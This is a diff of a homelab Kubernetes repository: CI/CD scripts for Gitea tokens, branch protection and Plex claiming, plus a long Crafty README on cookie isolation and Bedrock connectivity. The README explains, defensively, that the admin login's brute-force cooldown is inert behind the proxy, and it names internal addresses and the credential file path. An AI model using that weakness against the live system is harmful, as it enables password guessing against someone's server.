+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
+# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
+# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
+SECRET=SETTINGS_API_TOKEN
+NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+echo "==> minting token '${NAME}' as ${U}"
+TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
+  -d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
+  "https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
+[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
+echo "==> got a ${#TOKEN}-character token (value not shown)"
+
+echo "==> storing it as repo Actions secret ${SECRET}"
+code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
+  -d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
+unset TOKEN
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  echo "   PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
+  rm -f /tmp/set-ci-token.out; exit 1
+fi
+rm -f /tmp/set-ci-token.out
+
+# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
+# reports success for a store that never happened -- which is exactly what it did.
+names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
+        | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || { echo "   stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
+echo "==> stored and VERIFIED present: ${names}"
+
+cat <<'NOTE'
+
+Next:
+  1. .gitea/workflows/gate.yml already passes this secret to the gate step.
+  2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
+     without the token, so a green run is the only proof the wiring works.
+  3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
+     instead of skipping. Do that only after you have seen it green, or you lock the repo.
+NOTE

infra/gitea/verify-then-enforce.sh

@@ -0,0 +1,83 @@
+#!/usr/bin/env bash
+# verify-then-enforce.sh — run this AFTER you have merged PRs 8, 5, 6, 7 in that order.
+#
+# It does NOT merge anything. Merging is your reviewed act (CLAUDE.md: a human approves and
+# merges). This script does the mechanical half: prove the converted runner actually works,
+# and only then turn on enforcement.
+#
+# WHY THIS ORDER. The act-runner Deployment IS the merge gate for this repository. Enabling a
+# required status check while the runner is broken means NO PR can merge -- including the
+# revert. So PR #7 lands while the gate is still advisory, is PROVEN green on a real run, and
+# only then does enforcement go on.
+#
+# Aborts at the first checkpoint that does not pass. Safe to re-run.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+REPO_ROOT=/var/home/keith/source/home-network-k3s-impl
+D="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+cd "$REPO_ROOT"
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+A="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+say() { printf '\n\033[1m==> %s\033[0m\n' "$1"; }
+die() { printf '\n\033[31mABORT: %s\033[0m\n' "$1" >&2; exit 1; }
+
+say "PRECHECK — all four PRs must be merged first"
+for n in 8 5 6 7; do
+  m=$(api "$A/pulls/$n" | jq -r .merged)
+  printf '  PR #%s merged=%s\n' "$n" "$m"
+  [ "$m" = true ] || die "PR #$n is not merged yet. Merge 8, 5, 6, 7 in that order, then re-run."
+done
+
+say "STEP 1 — force Flux to apply the sidecar now, not on the 10m interval"
+./infra/devcontainer/dev.sh run bash -c \
+  'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-1 --with-source'
+
+say "STEP 2 — CHECKPOINT: the converted pod must come up healthy"
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n gitea-actions rollout status deploy/act-runner --timeout=180s
+  echo "--- sidecar (initContainers) ---"
+  kubectl --context k3s-prod -n gitea-actions get deploy act-runner \
+    -o jsonpath="{range .spec.template.spec.initContainers[*]}{.name} restartPolicy={.restartPolicy}{\"\n\"}{end}"
+  kubectl --context k3s-prod -n gitea-actions get pod -l app.kubernetes.io/name=act-runner' \
+  || die "converted act-runner pod is not healthy -- REVERT PR #7 before anything else"
+
+say "STEP 3 — CHECKPOINT: a runner must be ONLINE again"
+n=0
+for i in $(seq 1 40); do
+  n=$(api "https://${HOST}/api/v1/admin/actions/runners" | jq -r '[(.runners//[])[]|select(.status=="online")]|length')
+  printf '\r  online runners: %s  (%ss)   ' "$n" "$((i*5))"
+  [ "${n:-0}" -ge 1 ] && { echo; break; }
+  sleep 5
+done
+[ "${n:-0}" -ge 1 ] || die "no runner online after the conversion -- REVERT PR #7"
+
+say "STEP 4 — CHECKPOINT: a REAL workflow must go green ON THE CONVERTED POD"
+MAIN_SHA=$(api "$A/branches/main" | jq -r .commit.id)
+echo "  watching the post-merge push run on main (${MAIN_SHA:0:8})..."
+st=""
+for i in $(seq 1 60); do
+  st=$(api "$A/commits/$MAIN_SHA/status" | jq -r .state)
+  printf '\r  main gate: %-8s (%ss)   ' "$st" "$((i*10))"
+  case "$st" in success) echo; break;; failure|error) die "gate FAILED on the converted pod -- REVERT PR #7";; esac
+  sleep 10
+done
+[ "$st" = success ] || die "gate never completed on the converted pod -- REVERT PR #7; do NOT enable enforcement"
+echo "  the converted sidecar ran a real job green. Enforcement is now safe."
+
+say "STEP 5 — require the gate + one approval"
+"$D/require-gate.sh"
+
+say "STEP 6 — prove a direct push is rejected (do not trust the API's word)"
+git fetch -q origin && git checkout -q main && git reset -q --hard origin/main
+git commit -q --allow-empty -m 'protection probe'
+if git push origin main 2>&1 | grep -q 'protected branch'; then
+  echo "  CONFIRMED: push to main rejected by the pre-receive hook."
+else
+  echo "  WARNING: the push was NOT rejected -- protection is not doing what it claims."
+fi
+git reset -q --hard origin/main
+
+say "FINAL STATE"
+api "$A/branches/main" | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'

infra/plex/claim-ship.sh

@@ -0,0 +1,94 @@
+#!/usr/bin/env bash
+# plex-claim-ship.sh — run this IMMEDIATELY AFTER editing the SOPS secret with a fresh
+# plex.tv claim token. It drives the whole CI/CD loop end to end and prints a running
+# stopwatch so you can see the budget being spent.
+#
+#   branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verify
+#
+# It never sees, prints, or handles the token: the file is already encrypted by sops.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+SECRET=apps/wave-0/plex-claim-secret.sops.yaml
+T0=$(date +%s)
+el() { printf '\n[T+%02d:%02d] %s\n' $(( ($(date +%s)-T0)/60 )) $(( ($(date +%s)-T0)%60 )) "$1"; }
+
+cd "$(git rev-parse --show-toplevel)"
+
+# --- preflight: refuse to ship a file that is not what we think it is -------------
+git diff --quiet -- "$SECRET" && { echo "ERROR: $SECRET is unchanged. Edit it first:"; \
+  echo "  infra/devcontainer/dev.sh run sops $SECRET"; exit 1; }
+grep -q 'PLEX_CLAIM: ENC\[' "$SECRET" || { echo "ERROR: $SECRET is not encrypted. REFUSING."; exit 1; }
+[ -z "$(git status --porcelain | grep -v " $SECRET\$")" ] || echo "NOTE: other files are dirty; only $SECRET will be committed."
+
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+# Branch prefix is now cosmetic. It used to matter: gate.yml's push trigger covered
+# feature/** fix/** docs/** chore/** but not feat/**, and with act_runner at capacity 1 a
+# matching prefix fired a redundant run that serialised ahead of the PR run. Those
+# per-branch push triggers were deleted, so no prefix produces a duplicate run any more.
+BRANCH="feat/plex-claim-token-$(date +%H%M%S)"
+
+el "committing on $BRANCH"
+git checkout -q -b "$BRANCH"
+git add "$SECRET"
+git commit -q -m 'chore(plex): fresh plex.tv claim token
+
+Injected inside the plex.tv claim window per runbooks/plex-claim.md.'
+SHA=$(git rev-parse HEAD)
+
+el "pushing"
+git push -q -u origin "$BRANCH"
+
+el "opening PR"
+PR=$(jq -n --arg h "$BRANCH" --arg b main --arg t 'chore(plex): fresh plex.tv claim token' \
+       '{head:$h,base:$b,title:$t,body:"Token injection inside the claim window. Wiring already reviewed in #1."}' \
+     | api -X POST -H 'Content-Type: application/json' --data @- \
+         "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls" | jq -r '.number')
+[ -n "$PR" ] && [ "$PR" != "null" ] || { echo "PR creation failed"; exit 1; }
+echo "  PR #$PR"
+
+el "waiting for the gate (expect ~1m40s)"
+for i in $(seq 1 60); do
+  st=$(api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/commits/${SHA}/status" | jq -r '.state')
+  printf '\r  gate=%s  [T+%ss]   ' "$st" "$(( $(date +%s)-T0 ))"
+  case "$st" in success) echo; break;; failure|error) echo; echo "GATE FAILED — stopping."; exit 1;; esac
+  sleep 5
+done
+[ "$st" = "success" ] || { echo; echo "gate did not finish in time"; exit 1; }
+
+el "merging PR #$PR"
+api -X POST -H 'Content-Type: application/json' -d '{"Do":"merge"}' \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls/${PR}/merge" >/dev/null
+git checkout -q main && git pull -q --ff-only origin main
+
+el "forcing the Flux reconcile (--with-source, or it applies the OLD revision)"
+./infra/devcontainer/dev.sh run bash -c \
+  'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
+
+# MANDATORY here. Only the Secret ciphertext changed, so the Deployment pod template is
+# byte-identical and NOTHING restarts on its own. PLEX_CLAIM is read once, at container
+# start. Skipping this is failure mode #2 in runbooks/plex-claim.md.
+el "rolling the pod (mandatory — a changed Secret restarts nothing)"
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex rollout restart deployment/plex && \
+   kubectl --context k3s-prod -n plex rollout status deployment/plex --timeout=120s'
+
+el "verdict"
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex logs deploy/plex --since=3m | grep -i -e claim -e token || true'
+cat <<'NOTE'
+
+  "Attempting to obtain server token..." + "Token obtained successfully"  -> CLAIMED
+  "Attempting..." with no success line                                    -> token expired; retry, nothing is broken
+  neither line                                                            -> already claimed, or env did not reach the container
+
+Confirm it persisted (prints the attribute NAME only, never its value):
+
+  infra/devcontainer/dev.sh run bash -c \
+    'kubectl --context k3s-prod -n plex exec deploy/plex -- sh -c \
+       "grep -o PlexOnlineToken= \"/config/Library/Application Support/Plex Media Server/Preferences.xml\" | head -1"'
+NOTE

platform-config/kustomization.yaml

@@ -34,6 +34,14 @@ resources:
   # policies, the next import is blocked in the gap.
   - ../platform/kyverno/policies/label-cdi-worker-pods.yaml
   - ../platform/kyverno/admission/secret-provenance.yaml
+  # R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
+  # Kustomization is what actually applies ClusterPolicies. Adding a policy only to
+  # platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
+  # only ("kept as reference; THIS file is the buildable render root" in
+  # platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
+  # That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
+  # leaving the conformance-trigger identity live with nothing bounding it.
+  - ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
   # cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
   - cilium/l2-ip-pool.yaml
   - cilium/l2-announcement-policy.yaml

platform/crafty/README.md

@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
 | PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
 | Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
 | Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
-| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
+| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
 | Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
 
 ### fsGroup / user decision (the seerr lesson, applied)
@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
 `crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
 the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
 
-> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
-> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
-> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
+#### Cookie isolation (why the session used to vanish)
+
+This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
+`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
+emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
+authenticated last clobbered the other's session, and the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
+still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
+exactly as *"I signed in to Keycloak but I'm still not signed in."*
+
+Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
+`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
+`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+#### Crafty's own local login — this is where setup actually blocks
+
+Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
+username/password page. That second factor is intended. What was **not** intended — and what made the
+service impossible to set up — is that **nothing documented where that password comes from**.
+
+Crafty generates it **once, on first boot only**, when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
+**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
+**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
+random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
+what a browser sees with no hint as to why.
+
+**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
+
+Two traps that runbook covers:
+
+- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
+  `getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
+  Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
+- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
+  *records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
+  tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
+  differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
+  never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
+  the only thing actually limiting who can reach the login form is the oauth2-proxy
+  `platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
 
 ### Keycloak client
 
@@ -76,15 +116,16 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
 ## Game-port L4 exposure
 
 The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
-two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
+two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
+`192.168.2.22`**)
 (`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
 is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
-themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
+themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
 
 ### Adding more game ports (when the operator creates servers)
 
-The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
-add capacity:
+As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
+Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
 
 1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
 2. Add that port to the matching Service in `service-l4.yaml` (one
@@ -93,6 +134,274 @@ add capacity:
 4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
 5. Commit → Flux reconciles.
 
+### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
+
+Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
+As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
+off-cluster. Read both traps before changing anything.
+
+#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
+
+Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
+`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
+
+- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
+  bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
+- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
+  vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
+  single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
+  negotiates a UDP connection with each client that carries the gameplay traffic."*
+- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
+  exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
+  `crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
+  at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
+  agrees: `Total Received: 0, 0B` over 2293 s.
+- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
+  its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
+  app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
+  every ~5 s — **155 such lines** — against a server it had started successfully.
+
+#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
+
+The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
+/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
+printed, at ERROR level:
+
+```
+[ERROR] ================ TRANSPORT TYPE ERROR  ===================
+[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
+        supported transport type.
+[ERROR] Players will not be able to connect to your game without NetherNet.
+[ERROR] To switch, set 'transport=nethernet' in server.properties.
+```
+
+**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
+about connectivity was false on this cluster within five seconds of it being printed:
+
+- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
+  `/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
+  by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
+  on `4ABC` is **gone**.
+- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
+  `Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
+  load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
+  `TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
+  `0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
+- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
+  `192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
+
+      MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
+
+  Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
+  server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
+- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
+  documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
+  transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
+  clients connect to that address and port."* RakNet is also still fully compiled into the binary —
+  `strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
+  vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
+
+So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
+statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
+deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
+the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
+
+> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
+> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
+> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
+> server is or is not reachable, it is because someone pinged it — not because a comment said so.
+
+#### The steady-state `too few fields` warning is benign and is now the expected signature
+
+Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
+~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
+Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
+terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
+one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
+name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
+warning.** The failure signature is the *other* message, `Got timeout`.
+
+### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
+
+A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
+an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
+configuration. Measured:
+
+| Property / file | Value | Source |
+|---|---|---|
+| `allow-list` | **`true`** (line 37) | `server.properties` |
+| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
+| `online-mode` | `true` (line 31) | `server.properties` |
+| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
+| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
+| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
+
+**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
+`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
+then the server will only allow selected users to connect. To allow a user to connect you need to know
+their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
+transport problem, and not a platform problem — and no amount of Service or policy work will change it.
+
+#### CONFIRMED: one gamertag added, and a player joined
+
+**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
+**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
+connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
+
+- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
+  (`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
+  `xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
+  **connects**."* The operator wrote only the name — `audit.log` records `Edited file
+  …/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
+  That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
+  both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
+- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
+  22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
+  the new pid.
+
+**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
+else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
+**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
+gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
+manifest change, and no network change was involved in the fix.
+
+> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
+> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
+> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
+> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
+
+**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
+server required the client to reach our server and get an answer back. The only listener on 19132 is
+the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
+signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
+arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
+inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
+absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
+captured: the actual player flow — see the caveat below.)*
+
+#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
+
+`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
+**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
+only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
+crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
+denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
+Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
+UNVERIFIED, and only observable in the UI.
+
+#### How a Bedrock player actually gets authorized here
+
+Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
+gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
+gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
+`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
+group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
+which protects only the web panel.
+
+Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
+that produced the confirmed join above:
+
+1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
+   `allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
+   This writes `allowlist.json` **and** takes effect immediately, with no restart.
+2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
+   `allowlist reload` in the console — *"After you've modified the file you need to run the command
+   `allowlist reload` to make sure that the server knows about your new change."* Shape:
+
+   ```json
+   [
+     { "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
+     { "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
+   ]
+   ```
+
+3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
+   `allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
+   value in the server.properties file"*, so a console `off` silently reverts on the next start.
+   **Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
+   exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
+   players.
+
+> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
+> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
+>
+> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
+>   kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
+>   entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
+>   server simply **does not come back** until someone starts it by hand.
+> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
+>   `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
+>   refused). Neither change announces itself, and the server will look healthy and started in the panel
+>   while being unreachable *and* unjoinable.
+>
